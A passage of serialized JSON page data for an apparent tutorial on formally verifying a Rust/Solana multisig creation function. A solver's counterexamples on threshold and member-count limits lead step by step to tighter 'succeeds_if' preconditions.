threshold",{"type":23,"tag":41,"props":23270,"children":23271},{"style":170},[23272],{"type":28,"value":1474},{"type":23,"tag":41,"props":23274,"children":23275},{"style":94},[23276],{"type":28,"value":21017},{"type":23,"tag":41,"props":23278,"children":23279},{"style":70},[23280],{"type":28,"value":3506},{"type":23,"tag":41,"props":23282,"children":23283},{"class":43,"line":1137},[23284,23289,23293,23297],{"type":23,"tag":41,"props":23285,"children":23286},{"style":858},[23287],{"type":28,"value":23288},"    create_key",{"type":23,"tag":41,"props":23290,"children":23291},{"style":170},[23292],{"type":28,"value":1474},{"type":23,"tag":41,"props":23294,"children":23295},{"style":94},[23296],{"type":28,"value":20844},{"type":23,"tag":41,"props":23298,"children":23299},{"style":70},[23300],{"type":28,"value":3506},{"type":23,"tag":41,"props":23302,"children":23303},{"class":43,"line":1163},[23304,23309,23313,23317,23321,23325],{"type":23,"tag":41,"props":23305,"children":23306},{"style":858},[23307],{"type":28,"value":23308},"    members",{"type":23,"tag":41,"props":23310,"children":23311},{"style":170},[23312],{"type":28,"value":1474},{"type":23,"tag":41,"props":23314,"children":23315},{"style":94},[23316],{"type":28,"value":21376},{"type":23,"tag":41,"props":23318,"children":23319},{"style":70},[23320],{"type":28,"value":1012},{"type":23,"tag":41,"props":23322,"children":23323},{"style":94},[23324],{"type":28,"value":21385},{"type":23,"tag":41,"props":23326,"children":23327},{"style":70},[23328],{"type":28,"value":6136},{"type":23,"tag":41,"props":23330,"children":23331},{"class":43,"line":1188},[23332,23336,23340,23344],{"type":23,"tag":41,"props":23333,"children":23334},{"style":70},[23335],{"type":28,"value":866},{"type":23,"tag":41,"props":23337,"children":23338},{"style":170},[23339],{"type":28,"value":2453},{"type":23,"tag":41,"props":23341,"children":23342},{"style":94},[23343],{"type":28,"value":13756},{"type":23,"tag":41,"props":23345,"children":23346},{"style":70},[23347],{"type":28,"value":20320},{"type":23,"tag":41,"props":23349,"children":23350},{"class":43,"line":1979},[23351],{"type":23,"tag":41,"props":23352,"children":23353},{"style":48},[23354],{"type":28,"value":23355},"    // sort the members and remove duplicates\n",{"type":23,"tag":41,"props":23357,"children":23358},{"class":43,"line":2002},[23359,23363,23367,23372,23376,23380],{"type":23,"tag":41,"props":23360,"children":23361},{"style":64},[23362],{"type":28,"value":3002},{"type":23,"tag":41,"props":23364,"children":23365},{"style":64},[23366],{"type":28,"value":3007},{"type":23,"tag":41,"props":23368,"children":23369},{"style":858},[23370],{"type":28,"value":23371}," members",{"type":23,"tag":41,"props":23373,"children":23374},{"style":170},[23375],{"type":28,"value":3017},{"type":23,"tag":41,"props":23377,"children":23378},{"style":858},[23379],{"type":28,"value":23371},{"type":23,"tag":41,"props":23381,"children":23382},{"style":70},[23383],{"type":28,"value":183},{"type":23,"tag":41,"props":23385,"children":23386},{"class":43,"line":3835},[23387,23391,23395,23400],{"type":23,"tag":41,"props":23388,"children":23389},{"style":858},[23390],{"type":28,"value":23308},{"type":23,"tag":41,"props":23392,"children":23393},{"style":170},[23394],{"type":28,"value":706},{"type":23,"tag":41,"props":23396,"children":23397},{"style":114},[23398],{"type":28,"value":23399},"sort",{"type":23,"tag":41,"props":23401,"children":23402},{"style":70},[23403],{"type":28,"value":3669},{"type":23,"tag":41,"props":23405,"children":23406},{"class":43,"line":3895},[23407,23411,23415,23420],{"type":23,"tag":41,"props":23408,"children":23409},{"style":858},[23410],{"type":28,"value":23308},{"type":23,"tag":41,"props":23412,"children":23413},{"style":170},[23414],{"type":28,"value":706},{"type":23,"tag":41,"props":23416,"children":23417},{"style":114},[23418],{"type":28,"value":23419},"dedup",{"type":23,"tag":41,"props":23421,"children":23422},{"style":70},[23423],{"type":28,"value":3669},{"type":23,"tag":41,"props":23425,"children":23426},{"class":43,"line":9044},[23427],{"type":23,"tag":41,"props":23428,"children":23429},{"emptyLinePlaceholder":18},[23430],{"type":28,"value":82},{"type":23,"tag":41,"props":23432,"children":23433},{"class":43,"line":9061},[23434],{"type":23,"tag":41,"props":23435,"children":23436},{"style":48},[23437],{"type":28,"value":23438},"    // check we don't exceed u16\n",{"type":23,"tag":41,"props":23440,"children":23441},{"class":43,"line":9106},[23442,23446,23451,23455,23459,23463,23467],{"type":23,"tag":41,"props":23443,"children":23444},{"style":64},[23445],{"type":28,"value":3002},{"type":23,"tag":41,"props":23447,"children":23448},{"style":858},[23449],{"type":28,"value":23450}," total_members",{"type":23,"tag":41,"props":23452,"children":23453},{"style":170},[23454],{"type":28,"value":3017},{"type":23,"tag":41,"props":23456,"children":23457},{"style":858},[23458],{"type":28,"value":23371},{"type":23,"tag":41,"props":23460,"children":23461},{"style":170},[23462],{"type":28,"value":706},{"type":23,"tag":41,"props":23464,"children":23465},{"style":114},[23466],{"type":28,"value":9136},{"type":23,"tag":41,"props":23468,"children":23469},{"style":70},[23470],{"type":28,"value":3669},{"type":23,"tag":41,"props":23472,"children":23473},{"class":43,"line":9212},[23474,23478,23482,23486,23490],{"type":23,"tag":41,"props":23475,"children":23476},{"style":58},[23477],{"type":28,"value":2440},{"type":23,"tag":41,"props":23479,"children":23480},{"style":858},[23481],{"type":28,"value":23450},{"type":23,"tag":41,"props":23483,"children":23484},{"style":170},[23485],{"type":28,"value":758},{"type":23,"tag":41,"props":23487,"children":23488},{"style":164},[23489],{"type":28,"value":167},{"type":23,"tag":41,"props":23491,"children":23492},{"style":70},[23493],{"type":28,"value":102},{"type":23,"tag":41,"props":23495,"children":23497},{"class":43,"line":23496},31,[23498,23502,23507,23511,23516,23520,23525],{"type":23,"tag":41,"props":23499,"children":23500},{"style":58},[23501],{"type":28,"value":161},{"type":23,"tag":41,"props":23503,"children":23504},{"style":114},[23505],{"type":28,"value":23506}," err!",{"type":23,"tag":41,"props":23508,"children":23509},{"style":70},[23510],{"type":28,"value":1737},{"type":23,"tag":41,"props":23512,"children":23513},{"style":94},[23514],{"type":28,"value":23515},"MsError",{"type":23,"tag":41,"props":23517,"children":23518},{"style":170},[23519],{"type":28,"value":3479},{"type":23,"tag":41,"props":23521,"children":23522},{"style":94},[23523],{"type":28,"value":23524},"EmptyMembers",{"type":23,"tag":41,"props":23526,"children":23527},{"style":70},[23528],{"type":28,"value":3825},{"type":23,"tag":41,"props":23530,"children":23532},{"class":43,"line":23531},32,[23533],{"type":23,"tag":41,"props":23534,"children":23535},{"style":70},[23536],{"type":28,"value":192},{"type":23,"tag":41,"props":23538,"children":23540},{"class":43,"line":23539},33,[23541],{"type":23,"tag":41,"props":23542,"children":23543},{"emptyLinePlaceholder":18},[23544],{"type":28,"value":82},{"type":23,"tag":41,"props":23546,"children":23548},{"class":43,"line":23547},34,[23549],{"type":23,"tag":41,"props":23550,"children":23551},{"style":48},[23552],{"type":28,"value":23553},"    // make sure we don't exceed u16 on first call\n",{"type":23,"tag":41,"props":23555,"children":23557},{"class":43,"line":23556},35,[23558,23562,23566,23570,23574,23578,23582,23587,23591],{"type":23,"tag":41,"props":23559,"children":23560},{"style":58},[23561],{"type":28,"value":2440},{"type":23,"tag":41,"props":23563,"children":23564},{"style":858},[23565],{"type":28,"value":23450},{"type":23,"tag":41,"props":23567,"children":23568},{"style":170},[23569],{"type":28,"value":14186},{"type":23,"tag":41,"props":23571,"children":23572},{"style":94},[23573],{"type":28,"value":13726},{"type":23,"tag":41,"props":23575,"children":23576},{"style":170},[23577],{"type":28,"value":3479},{"type":23,"tag":41,"props":23579,"children":23580},{"style":114},[23581],{"type":28,"value":19461},{"type":23,"tag":41,"props":23583,"children":23584},{"style":70},[23585],{"type":28,"value":23586},"(u16",{"type":23,"tag":41,"props":23588,"children":23589},{"style":170},[23590],{"type":28,"value":3479},{"type":23,"tag":41,"props":23592,"children":23593},{"style":70},[23594],{"type":28,"value":23595},"MAX) {\n",{"type":23,"tag":41,"props":23597,"children":23599},{"class":43,"line":23598},36,[23600,23604,23608,23612,23616,23620,23625],{"type":23,"tag":41,"props":23601,"children":23602},{"style":58},[23603],{"type":28,"value":161},{"type":23,"tag":41,"props":23605,"children":23606},{"style":114},[23607],{"type":28,"value":23506},{"type":23,"tag":41,"props":23609,"children":23610},{"style":70},[23611],{"type":28,"value":1737},{"type":23,"tag":41,"props":23613,"children":23614},{"style":94},[23615],{"type":28,"value":23515},{"type":23,"tag":41,"props":23617,"children":23618},{"style":170},[23619],{"type":28,"value":3479},{"type":23,"tag":41,"props":23621,"children":23622},{"style":94},[23623],{"type":28,"value":23624},"MaxMembersReached",{"type":23,"tag":41,"props":23626,"children":23627},{"style":70},[23628],{"type":28,"value":3825},{"type":23,"tag":41,"props":23630,"children":23632},{"class":43,"line":23631},37,[23633],{"type":23,"tag":41,"props":23634,"children":23635},{"style":70},[23636],{"type":28,"value":192},{"type":23,"tag":41,"props":23638,"children":23640},{"class":43,"line":23639},38,[23641],{"type":23,"tag":41,"props":23642,"children":23643},{"emptyLinePlaceholder":18},[23644],{"type":28,"value":82},{"type":23,"tag":41,"props":23646,"children":23648},{"class":43,"line":23647},39,[23649],{"type":23,"tag":41,"props":23650,"children":23651},{"style":48},[23652],{"type":28,"value":23653},"    // make sure threshold is valid\n",{"type":23,"tag":41,"props":23655,"children":23657},{"class":43,"line":23656},40,[23658,23662,23666,23670,23674,23678,23682,23687,23691,23696,23700,23704,23708,23712,23716,23721,23726],{"type":23,"tag":41,"props":23659,"children":23660},{"style":58},[23661],{"type":28,"value":2440},{"type":23,"tag":41,"props":23663,"children":23664},{"style":94},[23665],{"type":28,"value":13726},{"type":23,"tag":41,"props":23667,"children":23668},{"style":170},[23669],{"type":28,"value":3479},{"type":23,"tag":41,"props":23671,"children":23672},{"style":114},[23673],{"type":28,"value":19461},{"type":23,"tag":41,"props":23675,"children":23676},{"style":70},[23677],{"type":28,"value":1737},{"type":23,"tag":41,"props":23679,"children":23680},{"style":858},[23681],{"type":28,"value":22736},{"type":23,"tag":41,"props":23683,"children":23684},{"style":70},[23685],{"type":28,"value":23686},") \u003C ",{"type":23,"tag":41,"props":23688,"children":23689},{"style":164},[23690],{"type":28,"value":317},{"type":23,"tag":41,"props":23692,"children":23693},{"style":170},[23694],{"type":28,"value":23695}," ||",{"type":23,"tag":41,"props":23697,"children":23698},{"style":94},[23699],{"type":28,"value":13726},{"type":23,"tag":41,"props":23701,"children":23702},{"style":170},[23703],{"type":28,"value":3479},{"type":23,"tag":41,"props":23705,"children":23706},{"style":114},[23707],{"type":28,"value":19461},{"type":23,"tag":41,"props":23709,"children":23710},{"style":70},[23711],{"type":28,"value":1737},{"type":23,"tag":41,"props":23713,"children":23714},{"style":858},[23715],{"type":28,"value":22736},{"type":23,"tag":41,"props":23717,"children":23718},{"style":70},[23719],{"type":28,"value":23720},") > ",{"type":23,"tag":41,"props":23722,"children":23723},{"style":858},[23724],{"type":28,"value":23725},"total_members",{"type":23,"tag":41,"props":23727,"children":23728},{"style":70},[23729],{"type":28,"value":102},{"type":23,"tag":41,"props":23731,"children":23733},{"class":43,"line":23732},41,[23734,23738,23742,23746,23750,23754,23759],{"type":23,"tag":41,"props":23735,"children":23736},{"style":58},[23737],{"type":28,"value":161},{"type":23,"tag":41,"props":23739,"children":23740},{"style":114},[23741],{"type":28,"value":23506},{"type":23,"tag":41,"props":23743,"children":23744},{"style":70},[23745],{"type":28,"value":1737},{"type":23,"tag":41,"props":23747,"children":23748},{"style":94},[23749],{"type":28,"value":23515},{"type":23,"tag":41,"props":23751,"children":23752},{"style":170},[23753],{"type":28,"value":3479},{"type":23,"tag":41,"props":23755,"children":23756},{"style":94},[23757],{"type":28,"value":23758},"InvalidThreshold",{"type":23,"tag":41,"props":23760,"children":23761},{"style":70},[23762],{"type":28,"value":3825},{"type":23,"tag":41,"props":23764,"children":23766},{"class":43,"line":23765},42,[23767],{"type":23,"tag":41,"props":23768,"children":23769},{"style":70},[23770],{"type":28,"value":192},{"type":23,"tag":41,"props":23772,"children":23774},{"class":43,"line":23773},43,[23775],{"type":23,"tag":41,"props":23776,"children":23777},{"emptyLinePlaceholder":18},[23778],{"type":28,"value":82},{"type":23,"tag":41,"props":23780,"children":23782},{"class":43,"line":23781},44,[23783,23787,23791,23795,23799,23804,23808,23812],{"type":23,"tag":41,"props":23784,"children":23785},{"style":858},[23786],{"type":28,"value":20212},{"type":23,"tag":41,"props":23788,"children":23789},{"style":170},[23790],{"type":28,"value":706},{"type":23,"tag":41,"props":23792,"children":23793},{"style":70},[23794],{"type":28,"value":14667},{"type":23,"tag":41,"props":23796,"children":23797},{"style":170},[23798],{"type":28,"value":706},{"type":23,"tag":41,"props":23800,"children":23801},{"style":70},[23802],{"type":28,"value":23803},"multisig",{"type":23,"tag":41,"props":23805,"children":23806},{"style":170},[23807],{"type":28,"value":706},{"type":23,"tag":41,"props":23809,"children":23810},{"style":114},[23811],{"type":28,"value":20727},{"type":23,"tag":41,"props":23813,"children":23814},{"style":70},[23815],{"type":28,"value":3461},{"type":23,"tag":41,"props":23817,"children":23819},{"class":43,"line":23818},45,[23820,23825],{"type":23,"tag":41,"props":23821,"children":23822},{"style":858},[23823],{"type":28,"value":23824},"        threshold",{"type":23,"tag":41,"props":23826,"children":23827},{"style":70},[23828],{"type":28,"value":3506},{"type":23,"tag":41,"props":23830,"children":23832},{"class":43,"line":23831},46,[23833,23838],{"type":23,"tag":41,"props":23834,"children":23835},{"style":858},[23836],{"type":28,"value":23837},"        create_key",{"type":23,"tag":41,"props":23839,"children":23840},{"style":70},[23841],{"type":28,"value":3506},{"type":23,"tag":41,"props":23843,"children":23845},{"class":43,"line":23844},47,[23846,23851],{"type":23,"tag":41,"props":23847,"children":23848},{"style":858},[23849],{"type":28,"value":23850},"        members",{"type":23,"tag":41,"props":23852,"children":23853},{"style":70},[23854],{"type":28,"value":3506},{"type":23,"tag":41,"props":23856,"children":23858},{"class":43,"line":23857},48,[23859,23863,23867,23871,23876,23880,23884,23888,23893,23897,23901,23905],{"type":23,"tag":41,"props":23860,"children":23861},{"style":170},[23862],{"type":28,"value":7751},{"type":23,"tag":41,"props":23864,"children":23865},{"style":858},[23866],{"type":28,"value":20269},{"type":23,"tag":41,"props":23868,"children":23869},{"style":170},[23870],{"type":28,"value":706},{"type":23,"tag":41,"props":23872,"children":23873},{"style":70},[23874],{"type":28,"value":23875},"bumps",{"type":23,"tag":41,"props":23877,"children":23878},{"style":170},[23879],{"type":28,"value":706},{"type":23,"tag":41,"props":23881,"children":23882},{"style":114},[23883],{"type":28,"value":16340},{"type":23,"tag":41,"props":23885,"children":23886},{"style":70},[23887],{"type":28,"value":1737},{"type":23,"tag":41,"props":23889,"children":23890},{"style":735},[23891],{"type":28,"value":23892},"\"multisig\"",{"type":23,"tag":41,"props":23894,"children":23895},{"style":70},[23896],{"type":28,"value":2678},{"type":23,"tag":41,"props":23898,"children":23899},{"style":170},[23900],{"type":28,"value":706},{"type":23,"tag":41,"props":23902,"children":23903},{"style":114},[23904],{"type":28,"value":3664},{"type":23,"tag":41,"props":23906,"children":23907},{"style":70},[23908],{"type":28,"value":3489},{"type":23,"tag":41,"props":23910,"children":23912},{"class":43,"line":23911},49,[23913],{"type":23,"tag":41,"props":23914,"children":23915},{"style":70},[23916],{"type":28,"value":23917},"    )\n",{"type":23,"tag":41,"props":23919,"children":23921},{"class":43,"line":23920},50,[23922],{"type":23,"tag":41,"props":23923,"children":23924},{"style":70},[23925],{"type":28,"value":201},{"type":23,"tag":24,"props":23927,"children":23928},{},[23929,23931,23936,23938,23943],{"type":28,"value":23930},"We can start by testing an empty ",{"type":23,"tag":37,"props":23932,"children":23934},{"className":23933},[],[23935],{"type":28,"value":20143},{"type":28,"value":23937}," (this will default to ",{"type":23,"tag":37,"props":23939,"children":23941},{"className":23940},[],[23942],{"type":28,"value":3996},{"type":28,"value":23944},"):",{"type":23,"tag":31,"props":23946,"children":23948},{"code":23947,"language":2981,"meta":7,"className":2982,"style":7},"#[succeeds_if()]\npub fn create(...) { ... }\n",[23949],{"type":23,"tag":37,"props":23950,"children":23951},{"__ignoreMap":7},[23952,23960],{"type":23,"tag":41,"props":23953,"children":23954},{"class":43,"line":44},[23955],{"type":23,"tag":41,"props":23956,"children":23957},{"style":70},[23958],{"type":28,"value":23959},"#[succeeds_if()]\n",{"type":23,"tag":41,"props":23961,"children":23962},{"class":43,"line":54},[23963,23967,23971,23975,23979,23983,23988,23992],{"type":23,"tag":41,"props":23964,"children":23965},{"style":64},[23966],{"type":28,"value":13685},{"type":23,"tag":41,"props":23968,"children":23969},{"style":64},[23970],{"type":28,"value":13690},{"type":23,"tag":41,"props":23972,"children":23973},{"style":114},[23974],{"type":28,"value":7111},{"type":23,"tag":41,"props":23976,"children":23977},{"style":70},[23978],{"type":28,"value":1737},{"type":23,"tag":41,"props":23980,"children":23981},{"style":170},[23982],{"type":28,"value":9589},{"type":23,"tag":41,"props":23984,"children":23985},{"style":70},[23986],{"type":28,"value":23987},") { ",{"type":23,"tag":41,"props":23989,"children":23990},{"style":170},[23991],{"type":28,"value":9589},{"type":23,"tag":41,"props":23993,"children":23994},{"style":70},[23995],{"type":28,"value":9594},{"type":23,"tag":24,"props":23997,"children":23998},{},[23999],{"type":28,"value":24000},"Running the solver, we get:",{"type":23,"tag":31,"props":24002,"children":24004},{"code":24003},"...\nVERIFICATION:- FAILED\nVerification Time: 6.404167s\n",[24005],{"type":23,"tag":37,"props":24006,"children":24007},{"__ignoreMap":7},[24008],{"type":28,"value":24003},{"type":23,"tag":24,"props":24010,"children":24011},{},[24012,24014,24019],{"type":28,"value":24013},"This means that ",{"type":23,"tag":37,"props":24015,"children":24017},{"className":24016},[],[24018],{"type":28,"value":3996},{"type":28,"value":24020}," does not imply that the function will succeed (which is expected looking at the implementation above).",{"type":23,"tag":24,"props":24022,"children":24023},{},[24024],{"type":28,"value":24025},"We can ask the solver to produce a counterexample:",{"type":23,"tag":31,"props":24027,"children":24029},{"code":24028},"threshold: 33764\ncreate_key: ...\nmembers: SparseVec { size: 19 }\n",[24030],{"type":23,"tag":37,"props":24031,"children":24032},{"__ignoreMap":7},[24033],{"type":28,"value":24028},{"type":23,"tag":24,"props":24035,"children":24036},{},[24037],{"type":28,"value":24038},"In this case, we can see that the threshold is invalid; it should not be larger than the number of members.",{"type":23,"tag":24,"props":24040,"children":24041},{},[24042],{"type":23,"tag":2913,"props":24043,"children":24044},{},[24045,24047,24053],{"type":28,"value":24046},"Note also that the verifier decided to use a ",{"type":23,"tag":37,"props":24048,"children":24050},{"className":24049},[],[24051],{"type":28,"value":24052},"SparseVec",{"type":28,"value":24054}," which is one of our custom vec implementations. In this case, the code we are verifying doesn't actually read or write to the vector and so we can model it simply as a symbolic size (with no data).",{"type":23,"tag":24,"props":24056,"children":24057},{},[24058],{"type":23,"tag":2913,"props":24059,"children":24060},{},[24061,24063,24068,24069,24075,24077,24082,24084,24089],{"type":28,"value":24062},"Using a sparse vec rather than a concrete vec is generally preferred as it speeds up computation and allows us to model arbitrarily sized vecs. ",{"type":23,"tag":37,"props":24064,"children":24066},{"className":24065},[],[24067],{"type":28,"value":3811},{"type":28,"value":1361},{"type":23,"tag":37,"props":24070,"children":24072},{"className":24071},[],[24073],{"type":28,"value":24074},"pop",{"type":28,"value":24076}," are stubbed out to simply panic for the ",{"type":23,"tag":37,"props":24078,"children":24080},{"className":24079},[],[24081],{"type":28,"value":24052},{"type":28,"value":24083}," and if this code tried to do that we would fall back to the concrete ",{"type":23,"tag":37,"props":24085,"children":24087},{"className":24086},[],[24088],{"type":28,"value":17197},{"type":28,"value":24090}," type.",{"type":23,"tag":24,"props":24092,"children":24093},{},[24094],{"type":28,"value":24095},"We can add this to our constraint and try again:",{"type":23,"tag":31,"props":24097,"children":24099},{"code":24098,"language":2981,"meta":7,"className":2982,"style":7},"#[succeeds_if(\n    (threshold as usize) \u003C= members.len()\n)]\npub fn create(...) { ... }\n",[24100],{"type":23,"tag":37,"props":24101,"children":24102},{"__ignoreMap":7},[24103,24111,24148,24155],{"type":23,"tag":41,"props":24104,"children":24105},{"class":43,"line":44},[24106],{"type":23,"tag":41,"props":24107,"children":24108},{"style":70},[24109],{"type":28,"value":24110},"#[succeeds_if(\n",{"type":23,"tag":41,"props":24112,"children":24113},{"class":43,"line":54},[24114,24119,24123,24127,24131,24135,24139,24143],{"type":23,"tag":41,"props":24115,"children":24116},{"style":70},[24117],{"type":28,"value":24118},"    (threshold ",{"type":23,"tag":41,"props":24120,"children":24121},{"style":64},[24122],{"type":28,"value":8838},{"type":23,"tag":41,"props":24124,"children":24125},{"style":94},[24126],{"type":28,"value":13726},{"type":23,"tag":41,"props":24128,"children":24129},{"style":70},[24130],{"type":28,"value":866},{"type":23,"tag":41,"props":24132,"children":24133},{"style":170},[24134],{"type":28,"value":19402},{"type":23,"tag":41,"props":24136,"children":24137},{"style":70},[24138],{"type":28,"value":23371},{"type":23,"tag":41,"props":24140,"children":24141},{"style":170},[24142],{"type":28,"value":706},{"type":23,"tag":41,"props":24144,"children":24145},{"style":70},[24146],{"type":28,"value":24147},"len()\n",{"type":23,"tag":41,"props":24149,"children":24150},{"class":43,"line":76},[24151],{"type":23,"tag":41,"props":24152,"children":24153},{"style":70},[24154],{"type":28,"value":20247},{"type":23,"tag":41,"props":24156,"children":24157},{"class":43,"line":85},[24158,24162,24166,24170,24174,24178,24182,24186],{"type":23,"tag":41,"props":24159,"children":24160},{"style":64},[24161],{"type":28,"value":13685},{"type":23,"tag":41,"props":24163,"children":24164},{"style":64},[24165],{"type":28,"value":13690},{"type":23,"tag":41,"props":24167,"children":24168},{"style":114},[24169],{"type":28,"value":7111},{"type":23,"tag":41,"props":24171,"children":24172},{"style":70},[24173],{"type":28,"value":1737},{"type":23,"tag":41,"props":24175,"children":24176},{"style":170},[24177],{"type":28,"value":9589},{"type":23,"tag":41,"props":24179,"children":24180},{"style":70},[24181],{"type":28,"value":23987},{"type":23,"tag":41,"props":24183,"children":24184},{"style":170},[24185],{"type":28,"value":9589},{"type":23,"tag":41,"props":24187,"children":24188},{"style":70},[24189],{"type":28,"value":9594},{"type":23,"tag":24,"props":24191,"children":24192},{},[24193],{"type":28,"value":24194},"Verification failed again! This time we get a different counterexample:",{"type":23,"tag":31,"props":24196,"children":24198},{"code":24197},"threshold: 0\ncreate_key: ...\nmembers: SparseVec { size: 19 }\n",[24199],{"type":23,"tag":37,"props":24200,"children":24201},{"__ignoreMap":7},[24202],{"type":28,"value":24197},{"type":23,"tag":24,"props":24204,"children":24205},{},[24206],{"type":28,"value":24207},"Aha! The threshold cannot be 0 either... Let's try again:",{"type":23,"tag":31,"props":24209,"children":24211},{"code":24210,"language":2981,"meta":7,"className":2982,"style":7},"#[succeeds_if(\n    (threshold as usize) \u003C= members.len()\n    && threshold != 0\n)]\npub fn create(...) { ... }\n",[24212],{"type":23,"tag":37,"props":24213,"children":24214},{"__ignoreMap":7},[24215,24222,24257,24278,24285],{"type":23,"tag":41,"props":24216,"children":24217},{"class":43,"line":44},[24218],{"type":23,"tag":41,"props":24219,"children":24220},{"style":70},[24221],{"type":28,"value":24110},{"type":23,"tag":41,"props":24223,"children":24224},{"class":43,"line":54},[24225,24229,24233,24237,24241,24245,24249,24253],{"type":23,"tag":41,"props":24226,"children":24227},{"style":70},[24228],{"type":28,"value":24118},{"type":23,"tag":41,"props":24230,"children":24231},{"style":64},[24232],{"type":28,"value":8838},{"type":23,"tag":41,"props":24234,"children":24235},{"style":94},[24236],{"type":28,"value":13726},{"type":23,"tag":41,"props":24238,"children":24239},{"style":70},[24240],{"type":28,"value":866},{"type":23,"tag":41,"props":24242,"children":24243},{"style":170},[24244],{"type":28,"value":19402},{"type":23,"tag":41,"props":24246,"children":24247},{"style":70},[24248],{"type":28,"value":23371},{"type":23,"tag":41,"props":24250,"children":24251},{"style":170},[24252],{"type":28,"value":706},{"type":23,"tag":41,"props":24254,"children":24255},{"style":70},[24256],{"type":28,"value":24147},{"type":23,"tag":41,"props":24258,"children":24259},{"class":43,"line":76},[24260,24264,24269,24273],{"type":23,"tag":41,"props":24261,"children":24262},{"style":170},[24263],{"type":28,"value":15612},{"type":23,"tag":41,"props":24265,"children":24266},{"style":70},[24267],{"type":28,"value":24268}," threshold ",{"type":23,"tag":41,"props":24270,"children":24271},{"style":170},[24272],{"type":28,"value":15679},{"type":23,"tag":41,"props":24274,"children":24275},{"style":70},[24276],{"type":28,"value":24277}," 0\n",{"type":23,"tag":41,"props":24279,"children":24280},{"class":43,"line":85},[24281],{"type":23,"tag":41,"props":24282,"children":24283},{"style":70},[24284],{"type":28,"value":20247},{"type":23,"tag":41,"props":24286,"children":24287},{"class":43,"line":105},[24288,24292,24296,24300,24304,24308,24312,24316],{"type":23,"tag":41,"props":24289,"children":24290},{"style":64},[24291],{"type":28,"value":13685},{"type":23,"tag":41,"props":24293,"children":24294},{"style":64},[24295],{"type":28,"value":13690},{"type":23,"tag":41,"props":24297,"children":24298},{"style":114},[24299],{"type":28,"value":7111},{"type":23,"tag":41,"props":24301,"children":24302},{"style":70},[24303],{"type":28,"value":1737},{"type":23,"tag":41,"props":24305,"children":24306},{"style":170},[24307],{"type":28,"value":9589},{"type":23,"tag":41,"props":24309,"children":24310},{"style":70},[24311],{"type":28,"value":23987},{"type":23,"tag":41,"props":24313,"children":24314},{"style":170},[24315],{"type":28,"value":9589},{"type":23,"tag":41,"props":24317,"children":24318},{"style":70},[24319],{"type":28,"value":9594},{"type":23,"tag":24,"props":24321,"children":24322},{},[24323],{"type":28,"value":24324},"A third counterexample:",{"type":23,"tag":31,"props":24326,"children":24328},{"code":24327},"threshold: 4\ncreate_key: ...\nmembers: SparseVec { size: 536870920 }\n",[24329],{"type":23,"tag":37,"props":24330,"children":24331},{"__ignoreMap":7},[24332],{"type":28,"value":24327},{"type":23,"tag":24,"props":24334,"children":24335},{},[24336,24338,24344],{"type":28,"value":24337},"Here we see the size of our ",{"type":23,"tag":37,"props":24339,"children":24341},{"className":24340},[],[24342],{"type":28,"value":24343},"members",{"type":28,"value":24345}," vec is huge! We need to constrain that to be less than u16::MAX:",{"type":23,"tag":31,"props":24347,"children":24349},{"code":24348,"language":2981,"meta":7,"className":2982,"style":7},"#[succeeds_if(\n    (threshold as usize) \u003C= members.len()\n    && (threshold != 0)\n    && (members.len() \u003C= (u16::MAX as usize))\n)]\npub fn create(...) { ... }\n",[24350],{"type":23,"tag":37,"props":24351,"children":24352},{"__ignoreMap":7},[24353,24360,24395,24416,24468,24475],{"type":23,"tag":41,"props":24354,"children":24355},{"class":43,"line":44},[24356],{"type":23,"tag":41,"props":24357,"children":24358},{"style":70},[24359],{"type":28,"value":24110},{"type":23,"tag":41,"props":24361,"children":24362},{"class":43,"line":54},[24363,24367,24371,24375,24379,24383,24387,24391],{"type":23,"tag":41,"props":24364,"children":24365},{"style":70},[24366],{"type":28,"value":24118},{"type":23,"tag":41,"props":24368,"children":24369},{"style":64},[24370],{"type":28,"value":8838},{"type":23,"tag":41,"props":24372,"children":24373},{"style":94},[24374],{"type":28,"value":13726},{"type":23,"tag":41,"props":24376,"children":24377},{"style":70},[24378],{"type":28,"value":866},{"type":23,"tag":41,"props":24380,"children":24381},{"style":170},[24382],{"type":28,"value":19402},{"type":23,"tag":41,"props":24384,"children":24385},{"style":70},[24386],{"type":28,"value":23371},{"type":23,"tag":41,"props":24388,"children":24389},{"style":170},[24390],{"type":28,"value":706},{"type":23,"tag":41,"props":24392,"children":24393},{"style":70},[24394],{"type":28,"value":24147},{"type":23,"tag":41,"props":24396,"children":24397},{"class":43,"line":76},[24398,24402,24407,24411],{"type":23,"tag":41,"props":24399,"children":24400},{"style":170},[24401],{"type":28,"value":15612},{"type":23,"tag":41,"props":24403,"children":24404},{"style":70},[24405],{"type":28,"value":24406}," (threshold ",{"type":23,"tag":41,"props":24408,"children":24409},{"style":170},[24410],{"type":28,"value":15679},{"type":23,"tag":41,"props":24412,"children":24413},{"style":70},[24414],{"type":28,"value":24415}," 0)\n",{"type":23,"tag":41,"props":24417,"children":24418},{"class":43,"line":85},[24419,24423,24427,24431,24435,24439,24443,24448,24452,24456,24460,24464],{"type":23,"tag":41,"props":24420,"children":24421},{"style":170},[24422],{"type":28,"value":15612},{"type":23,"tag":41,"props":24424,"children":24425},{"style":70},[24426],{"type":28,"value":22985},{"type":23,"tag":41,"props":24428,"children":24429},{"style":170},[24430],{"type":28,"value":706},{"type":23,"tag":41,"props":24432,"children":24433},{"style":70},[24434],{"type":28,"value":21008},{"type":23,"tag":41,"props":24436,"children":24437},{"style":170},[24438],{"type":28,"value":19402},{"type":23,"tag":41,"props":24440,"children":24441},{"style":70},[24442],{"type":28,"value":142},{"type":23,"tag":41,"props":24444,"children":24445},{"style":94},[24446],{"type":28,"value":24447},"u16",{"type":23,"tag":41,"props":24449,"children":24450},{"style":170},[24451],{"type":28,"value":3479},{"type":23,"tag":41,"props":24453,"children":24454},{"style":94},[24455],{"type":28,"value":21026},{"type":23,"tag":41,"props":24457,"children":24458},{"style":64},[24459],{"type":28,"value":8825},{"type":23,"tag":41,"props":24461,"children":24462},{"style":94},[24463],{"type":28,"value":13726},{"type":23,"tag":41,"props":24465,"children":24466},{"style":70},[24467],{"type":28,"value":19700},{"type":23,"tag":41,"props":24469,"children":24470},{"class":43,"line":105},[24471],{"type":23,"tag":41,"props":24472,"children":24473},{"style":70},[24474],{"type":28,"value":20247},{"type":23,"tag":41,"props":24476,"children":24477},{"class":43,"line":155},[24478,24482,24486,24490,24494,24498,24502,24506],{"type":23,"tag":41,"props":24479,"children":24480},{"style":64},[24481],{"type":28,"value":13685},{"type":23,"tag":41,"props":24483,"children":24484},{"style":64},[24485],{"type":28,"value":13690},{"type":23,"tag":41,"props":24487,"children":24488},{"style":114},[24489],{"type":28,"value":7111},{"type":23,"tag":41,"props":24491,"children":24492},{"style":70},[2